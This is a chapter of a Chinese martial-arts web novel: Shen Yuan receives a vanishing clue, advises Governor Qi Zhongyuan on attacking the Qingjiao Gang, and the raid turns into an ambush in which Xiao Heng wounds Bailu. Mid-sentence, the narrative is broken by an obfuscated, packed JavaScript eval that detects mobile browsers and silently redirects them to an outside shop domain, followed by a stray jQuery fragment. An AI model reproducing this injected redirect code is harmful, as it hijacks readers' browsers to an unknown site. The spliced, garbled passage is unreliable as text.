回到自己房间后,沈鸢简单洗漱一番,便躺下睡了。
不知是想到隔壁就住着萧珩,还是因为刚吃了一堆东西,沈鸢怎么也睡不着。
脑中盘着明天的计划,而她关于自己的任务,也愈发清晰。
黑暗中,她忽然听见窸窸窣窣的声音,握着短剑和箭弩,她霍然起身,推窗一看,却见一抹白光映入眼底。
是一张字条,上有六个字泛着微光。
“龙骨血在西北。”
是哑婆婆!
沈鸢站在窗口打量,只见漆黑的夜,还有不远处矮房零星几点还未熄灭的灯,哪里有哑婆婆半点影子?
沈鸢关窗,目光重新落在字条上。
可是随着她掌心温度触及到字条,上面的字竟然一点点消融,直至没有半点痕迹。
沈鸢怔怔看着手里空荡荡的白色纸张,心中惊疑不定。
哑婆婆的线索当真?
以哑婆婆的能力,应该不会有误?
可是她,就这么将龙骨血的线索给了自己,真的不要半点报酬?
当初那个孟虎,为了跟哑婆婆做交易,可是冒着被全城追杀的风险,偷了寒髓草啊。
……
沈鸢将无字纸条撕碎,留了个心眼,告诉自己:哑婆婆给的线索,可作为参考,有待确认,她得再查。
带着沉沉心思再次躺下,沈鸢闭着眼,原以为还要很久才能睡着,没想到这回,竟然一躺下就睡了过去。
可是她分明做了很多混乱交织的梦,光怪陆离的画面旋在脑海,搅得她脑壳疼。
等到睁眼的时候,天已大亮,沈鸢呆呆看着自己的手,十指犹在颤抖。
她好像记得这双手握着短剑,插在了萧珩胸口。他没有躲,反而笑着看她。好像是等那一天等了很久。
也是这手,试图拉住大当家下坠的身体,却慢了一步,眼睁睁看着大当家带着满身的箭在寒潭中倒下,向深渊而去。
下一刻,这手对向了自己,掏进了心肺,将那枚神秘莫测的锥心刺生生挖了出来,直到鲜血淋漓,才肯罢手。
……
沈鸢狠狠抹了把额头冷汗,起身在桌前猛地灌下一口凉茶,胸口起伏才缓缓平息下来。
她拿出了短剑,手指细细抚过冰凉剑身,感受着通体剑意袭至全身。当她握着这柄剑的时候,她才感觉到,她方才的脑中回忆皆如梦如幻。
大当家的死已成事实,她无法改变,锥心刺的秘密她还在查,定会水落石出,而萧珩……
萧珩那家伙确实够麻烦的,但……无妨,她只做她要做的事,她认为对的事。
沈鸢将整壶凉茶倒入口中,用力咽了下去,她眼里重现绽出战意。
慢条斯理吃了早饭,沈鸢这才迈入总督府,向齐仲远回报鹭大人的打算。
“什么?”齐仲远刚起床不久,惺忪睡眼在听到了沈鸢声音之后瞬间瞪直了。
沈鸢将她的话再次说了遍:“鹭大人说,栖鸾阁人手有限,齐大人今晚的计划,恕栖鸾阁无法支援。”
“鹭!”齐仲远咬牙切齿,恨不得将那个当面听话、背地使绊的栖鸾阁护法给活活撕了。
沈鸢传完了话,对齐仲远作揖:“齐大人,我已替鹭大人将话带到。接下来既然没我什么事了,我就告退了。”
“等等。”齐仲远叫住了沈鸢,一双细长眼睛打量着她,“先前,暗杀青蛟帮的主意是你提的,本以为你们鹭大人会一口答应,谁料她竟然拒绝,这下倒好……你说说看,该如何处置青蛟帮那群宵小?”
沈鸢心中冷笑,将齐仲远故弄玄虚的模样看在眼底。
这人说话还挺有本事,明明都是他自己想的,却不肯直说,偏要借自己之口,如此一来,出了事又是她的了……
沈鸢装作诚惶诚恐的样子,为自己解释:“齐大人,我也不过是站在大人您这边,为您分忧,至于鹭大人是怎么想的,我不好胡乱猜测,导致计划出了岔子……”
她越是解释,齐仲远就越要逼她:“既然如此,你说今晚该怎么办?本官已箭在弦上,不论是为了大晟漕运,还是为了这临漳城百姓,那青蛟帮都是一定要铲了的。”
齐仲远摆出官架子,说得义正言辞,沈鸢便不再多说,而是垂下眼,走到他身边低声说道:“齐大人高义。但那青蛟帮不好对付,不如……”
片刻后,室内静了静,沈鸢说完退后一步,等着齐仲远。
齐仲远皱眉思索了小刻,重重拍案:“好!就依你此计!”
话音刚落,窗外忽然响起一声惊雷。
不知何时起,西风大作,方才万里无云的晴空竟然暗了下来。
总督府院中树影重重,被风吹得东倒西歪,在刹那间被闪电映得通亮,然后,珠子大小的雨点噼里啪啦落了下来,一下一下重重打在窗前。
“鸢,喝茶。”齐仲远的声音将沈鸢视线扯了回来。
他笑着起身,亲自打开抽屉,取出一罐好茶,没让下人经手,煮茶、滤茶、斟茶。
沈鸢看着冒着热气的新茶盏,借着低头喝茶之机眼神轻飘飘落在那个抽屉把手上。
把手是一个金色圆环,看起来精巧无比,按理说,齐仲远开关抽屉时,那圆环会随之晃动。
可是它没有。仿佛那小小圆环有着千斤重,不会因为手指触碰而发生半点变化。
沈鸢心中生疑,将那个抽屉的位置牢牢记住。
齐仲远取茶极为小心,甚至亲力亲为,要不是沈鸢亲眼看见这人前一天还大发雷霆打碎六个茶盏,她也一定会被齐仲远这番和善所迷惑。
她想,这里头装的,恐怕不止茶叶。
这一晚,不知是不是因为白天那场暴雨,哪怕暴雨过后,天始终是阴沉沉的,云挡着日头,是以这一天的夜晚,较之前些天要早一些降临。
临漳城码头,完全暗了下来,唯有江畔灯火点点,映出几艘尚未离开的船只。
其中一船,高高桅杆挂着青色大旗,上面一条张牙舞爪的蛟龙,正是青蛟帮。
夜幕下,一群脸上画着灰黑线条的人,穿着黑衣、背着包裹着长布的刀具,悄无声息穿过码头,在江畔夜风中快速登上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720483|208618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了船。
那是齐仲远的私兵。
既然栖鸾阁不愿出手,那齐仲远便打算自己来。都是他手底下私招私练的兵,他信得过,他也相信,以青蛟帮那群人,绝不可能是他私兵的对手。
船头上方,青色蛟龙在风中腾着,猎猎作响,俯视着翻过栏杆、跃上甲板的身影。
长布落地,露出明晃晃的白光,一把把长刀对准舱门,刀尖轻挑,舱门吱呀一声开了。
为首之人当先闪入,几步之下又迅速退回,发颤的声音透露出这里的不对劲。
“里头没人。”
又是一间舱门开了。私兵脸上,灰黑线条在那一刻变得狰狞扭曲。
“还是没人。”
……
“不对,这里是空船!中计了!”
伴随着这句惊呼,一道破空声自远而至。江畔草丛,数道黑影整齐划一的飞来,银光骤然激亮夜空,也照出了那一张张愣在船板、满目惊惧的脸。
“杀了他们!”白鹭立在船头,冷冷看着那些人。
令她意外的是,本以为这场杀戮能在倾夕之间完成,可她没想到,这群人比她想象的要难缠很多。似乎,都是一群有着不俗武功底子、训练有素之人?
青蛟帮不是一个漕运商帮吗?
难不成,这群人不是青蛟帮的?
白鹭心下疑惑,但面上扬起狠色。
齐仲远要她暗杀青蛟帮,她照做,至于其他的,无须她考虑。
杀就是了。
白鹭看着满地的血,嘴角微扬。忽然,她眼底掠过一道寒光。
她猛地回头,看见一个本不该出现在这里的人。
萧珩。
匕首划破夜空,鲜血从白鹭肩头绽开。
不知何时起,白鹭发现这里安静的可怕。方才打杀的喧嚣都已消失,白鹭艰难地转头,发现船上多了数个青灰色身影,毫无防备的栖鸾阁之人,已静静倒在地上。
所有鲜血都汇在了一起,竟然有一半属于栖鸾阁。
而这一切不过发生在倾夕之间。
白鹭眼皮子抖了抖,看那把匕首从自己体内狠狠往外扯了一下,萧珩握着手柄,鲜红刀尖对着她胸口,要刺下第二刀。
这一次,将是致命之击。
白鹭闭上眼,迎接她生命中最后一个时刻,忽然耳里传来一个熟悉的声音。
“住手!”
沈鸢从江畔跃起,瘦削身影化为一道利箭,将萧珩的匕首挡住,一把抓起白鹭未受伤的那侧肩膀,带她冲出了这个宛若炼狱之地。
萧珩收起匕首,若有所思地看着沈鸢远去的方向,慢条斯理地将匕首上的血擦干净。
“沈鸢,你要我做的,我已经做了。”
“可是我问过你的问题,你还没有回答呢。”
“你真的,归队了?”
夜色凉凉,船头只有风吹的声音,和头顶那面染着血迹的蛟龙旗帜。
无人回答萧珩的话。
于是他自问自答:“你不想说,我就不问了。可是答案,我已猜到了。”